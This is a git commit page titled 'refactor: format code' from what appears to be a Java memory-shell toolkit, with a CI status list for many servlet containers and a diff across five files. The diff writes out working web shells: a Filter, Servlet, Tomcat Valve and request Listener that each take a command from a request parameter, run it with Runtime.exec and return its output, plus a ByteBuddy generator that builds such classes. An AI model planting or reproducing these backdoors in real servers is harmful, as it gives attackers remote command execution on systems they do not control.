refactor: format code
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled

This commit is contained in:
ReaJason
2025-04-12 21:48:23 +08:00
parent 5218526279
commit c27be9a8a5
5 changed files with 58 additions and 61 deletions
@@ -27,10 +27,16 @@ public class ListenerGenerator {
.name(newClassName)
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
new MethodCallReplaceVisitorWrapper(
newClassName,
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
.make()) {
return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
return unloaded
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
.getLoaded();
}
}
}
@@ -23,22 +23,18 @@ public class CommandFilter implements Filter {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
return;
}
chain.doFilter(servletRequest, servletResponse);
}
@Override
@@ -17,26 +17,6 @@ public class CommandListener implements ServletRequestListener {
public CommandListener() {
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
@@ -65,4 +45,25 @@ public class CommandListener implements ServletRequestListener {
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -22,19 +22,16 @@ public class CommandServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} catch (Exception ignored) {
}
}
}
@@ -41,20 +41,17 @@ public class CommandValve implements Valve {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} catch (Exception ignored) {
return;
}
this.getNext().invoke(request, response);
}